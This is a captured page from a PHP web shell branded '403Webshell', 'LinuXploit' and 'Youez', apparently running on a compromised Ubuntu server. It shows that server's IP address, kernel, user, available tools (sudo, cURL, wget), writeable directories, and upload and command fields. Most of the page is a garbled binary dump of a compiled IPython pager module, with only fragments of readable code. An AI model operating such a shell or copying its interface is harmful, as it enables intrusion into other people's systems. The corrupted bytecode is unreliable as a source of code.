403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.143
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/IPython/core/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/IPython/core/__pycache__/page.cpython-312.pyc
�

}�e�-��|�dZddlZddlZddlZddlZddlZddlZddlmZddlm	Z	ddl
mZddlm
Z
ddlmZddlmZdd	lmZdd
lmZddlmZdd�Zd
�Zej4d�Zdd�Zd�Zdd�Zdd�Zdd�Z dd�Z!d�Z"ejFdk(r'ejHjKdd�dk7rddl&Z&d�Z'yd�Z'y) z�
Paging capabilities for IPython.core

Notes
-----

For now this uses IPython hooks, so it can't be in IPython.utils.  If we can get
rid of that dependency, we could move it there.
-----
�N)�UnsupportedOperation)�Path)�get_ipython)�display)�TryNext)�chop)�system)�get_terminal_size)�	py3compatc��t|t�r|}n(|r"dj|j�|d�}d|i}t	|d��y)z1Just display, no paging. screen_lines is ignored.�
N�
text/plainT)�raw)�
isinstance�dict�join�
splitlinesr)�strng�start�screen_lines�datas    �3/usr/lib/python3/dist-packages/IPython/core/page.py�display_pager$sF���%�������J�J�u�/�/�1�%�&�9�:�E��u�&���D�d��c����fd�S)zRWrap a pager func to strip the `self` arg

    so it can be called as a hook.
    c����|i|��S�N�)�self�args�kwargs�	page_funcs   �r�<lambda>zas_hook.<locals>.<lambda>4s����D�)C�F�)C�rr)r"s`r�as_hookr$/s���
D�Crz(\x1b[^m]+m)c�8�t|t�r|jdd�}|j�|d}t	||dz
�}t|�dk(r,t
tjj|d��yd}|ddD]d}tjj|�}t
||z�t�sytj|�}t|�dkDs�`|d}�ft
|tjj|d�z�y)z�Very dumb 'pager' in Python, for when nothing else works.

    Only moves forward, same interface as page(), except for pager_cmd and
    mode.
    r�N�r���)
rr�getrr�len�print�os�linesepr�	page_more�esc_re�findall)	rrr�out_ln�screens�last_escape�scr�hunk�esc_lists	         r�	page_dumbr79s����%����	�	�,��+����� ���(�F��6�,�q�.�)�G�
�7�|�q��
�b�j�j�o�o�g�a�j�)�*����1�R�=�	+�C��:�:�?�?�3�'�D��+��$�%��;���~�~�d�+�H��8�}�q� �&�r�l��	+�	�k�B�J�J�O�O�G�B�K�8�8�9rc�<�tjjdd�}|dk(s|dk(rtjdk7s|S	ddl}ddl}	|jtj�}	|j�}|j�\}}|j!�|j#tj|j$|�|S#t$r|cYSwxYw#|j$r }tdj|��|�d}~wwxYw#t$r|cYSwxYw)z�Attempt to work out the number of lines on the screen.

    This is called by page(). It can raise an error (e.g. when run in the
    test suite), so it's separated out so it can easily be called in a try block.
    �TERMN�xtermzxterm-color�sunos5rztermios error: {0})r,�environr)�sys�platform�termios�curses�ImportError�	tcgetattr�stdout�error�	TypeError�format�initscr�AttributeError�getmaxyx�endwin�	tcsetattr�TCSANOW)	�screen_lines_defr9r?r@�
term_flags�errr4�screen_lines_real�screen_colss	         r�_detect_screen_sizerRQs
���:�:�>�>�&��&�D��'�M�T�=�0�c�l�l�h�6N� �� ���C��&�&�s�z�z�2�
�
 ��n�n���
%(�L�L�N�!��k�
�M�M�O����c�j�j�����<����9� ��� ���=�=�C��,�3�3�C�8�9�s�B��C��� ��� �s<�C
�
C�*D
�
C�C�D
�*D�D
�
D�Dc�V�t|t�r|d}tjj	dd�}|dvrtj
dk7rt
|�y|j�|d}tjj|�}t|�}t|�}t|t|dz�dz�}	t�d}
|d	kr	|t|
�z
}|	|krt
|�yt#|�}|d
t%||�zz
}tj
dk(r�|j'd�rd}�nUt)j*d�\}}
t-|
�}	tj.|�|j1d
d��5}|j3|�|�d|��}ddd�tj4�rd}nd}t-j6|�n�	d}t9j:|dt8j<t8j>��}tj@tCjD|jFd��|�}	|jHxstJjLjH}|j3|�|j/�}	|�tU||��yy#tt f$rt
|�YywxYw#1swY��#xYw#t-j6|�wxYw#|j/�}wxYw#tN$r}|jPdk(rd}nd}Yd}~��d}~wtR$rd}Y��wxYw)aDisplay a string, piping through a pager after a certain length.

    strng can be a mime-bundle dict, supplying multiple representations,
    keyed by mime-type.

    The screen_lines parameter specifies the number of *usable* lines of your
    terminal screen (total lines minus lines you need to reserve to show other
    information).

    If you set screen_lines to a number <=0, page() will try to auto-determine
    your screen size and will only use up to (screen_size+screen_lines) for
    printing, paging after that. That is, if you want auto-detection but need
    to reserve the bottom 3 lines of the screen, use screen_lines = -3, and for
    auto-detection without any lines reserved simply use screen_lines = 0.

    If a string won't fit in the allowed lines, it is sent through the
    specified pager command. If none given, look for PAGER in the environment,
    and ultimately default to less.

    If no system pager works, the string is sent through a 'dumb pager'
    written in python, very simplistic.
    rr9�dumb)rT�emacs�ntN�Pr'r� �typez.txt�wt�utf-8��encodingz < T)�shell�stdin�stderr)� zBroken pipe)r)+rrr,r<r)�namer+rr-rr*�max�intr
rRrEr�
get_pager_cmd�get_pager_start�
startswith�tempfile�mkstempr�close�open�writer	�unlink�
subprocess�Popen�PIPE�DEVNULL�_wrap_close�io�
TextIOWrapperr_r]r=rC�IOErrorr �OSErrorr7)rrr�	pager_cmdr9�	str_lines�str_toprint�num_newlines�len_str�numlinesrM�retval�fd�tmpname�tmppath�tmpfile�cmd�proc�pager�pager_encoding�msgs                     r�
pager_pager��s���2�%����l�#���:�:�>�>�&��(�D����B�G�G�t�O�
�e���� � �"�5�6�*�I��*�*�/�/�)�,�K��y�>�L��+��G�
�<��G�B�J��� 1�2�H�(�*�1�-���q��	��/�0@�A�A�L��<��
�k��"�)�,�	��S�?�9�U�;�;�;�	�
�7�7�d�?��#�#�F�+���&�.�.�v�6���G��w�-��)��H�H�R�L� ���d�W��=�?���
�
�e�,�+4�g�>��?��y�y��~�!"��!%���K�K��(�
���!�'�'���$�/�/�%�-�-�	������$�$�T�Z�Z�'�B�D���+�%*�^�^�%J�s�z�z�7J�7J�N��K�K��&�"�[�[�]�F����e��6���y�/�0�	��+���	��0?�?���K�K��(��$#�[�[�]�F���
��8�8�2�2�!�F��F����
���
�sm�J�(K�?J9�"K�A,K5�>9K �7K5�J6�5J6�9K�>K�K� K2�2K5�5	L(�>L�L(�'L(c��td|�}t�}|r 	|jj|||��yt||||�S#t$rY�wxYw)a1Display content in a pager, piping through a pager after a certain length.

    data can be a mime-bundle dict, supplying multiple representations,
    keyed by mime-type, or text.

    Pager is dispatched via the `show_in_pager` IPython hook.
    If no hook is registered, `pager_page` will be used.
    r)rrN)rcr�hooks�
show_in_pagerrr�)rrrrw�ips     r�pager��sc��
��5�M�E�
��B�	�	��H�H�"�"�4�u�<�"�P��
�d�E�<��;�;��	�	��	�s�A�	A�Ac�@�t|�}|dt||�zz
}	tjddvrt�t|dz|z�y	#	|dkDr|dz}t
t|d��j�|�Yy	#tdt|��YYy	xYwxYw)
zDPage a file, using an optional pager command and starting line.
    rXr9)rUrTrr'r[r\zUnable to show fileN)rerfr,r<�EnvironmentErrorr	r�rk�readr+�repr)�fnamerrws   r�	page_filer�s����i�(�I�
���y��7�7�7�I�
5�
�:�:�f��!1�1�"�"��y�3���&�'��5�	5��q�y���
����e�g�.�3�3�5�u�=��	5��'��U��4�s#�,A�B�/B�B�B�Bc��tjdk(rd}ntjdvrd}|�	tjd}|dk(r5dtjjdd	�j	�vr|d
z
}|S#}Y�BxYw)zSReturn a pager command.

    Makes some attempts at finding an OS-correct one.
    �posixzless -R)rV�dosrY�PAGER�lessz-r�LESSr&z -R)r,rbr<r)�lower)rw�default_pager_cmds  rrere s���

�w�w�'��%��	���L�	 �"����	*��
�
�7�+�I��F��t�2�:�:�>�>�&�"�+E�+K�+K�+M�M��U��	����
	*�)�I�s�A=�=Bc�>�|dvr|rdt|�z}|Sd}|Sd}|S)zReturn the string for paging files with an offset.

    This is the '+N' argument which less and more (under Unix) accept.
    )r��more�+r&)�str)r�r�start_strings   rrfrf6sA��
������U��+�L�
���L������rrVr9rTrUc��tjjd�tj�}|dvrd}nd}tjjd�|S)zg Smart pausing between pages

        @return:    True if need print more lines, False if quit
        �$---Return to continue, q to quit--- )�q�QFTzo                                     )r=rCrl�msvcrt�getwch)�ans�results  rr.r.IsL��
	�
�
���?�@��m�m�o���*���F��F��
�
���3�4��
rc�n�tjd�}|j�jd�ryy)Nr�r�FT)r�inputr�rg)r�s rr.r.Ws+���o�o�D�E���9�9�;�!�!�#�&��r)r�)rrN)rNr)(�__doc__r,rs�rer=rhrnr�pathlibr�IPythonr�IPython.displayr�IPython.core.errorr�IPython.utils.datar�IPython.utils.processr	�IPython.utils.terminalr
�
IPython.utilsrrr$�compiler/r7rRr�r�r�rerfrbr<r)r�r.rrr�<module>r�s���	�
�	�	�
���#���#�&�#�(�4�#��D�
����O�	$��:�0+�^o7�d<�45�(�,
�"�7�7�d�?�r�z�z�~�~�f�V�4��?���r

Youez - 2016 - github.com/yon3zu
LinuXploit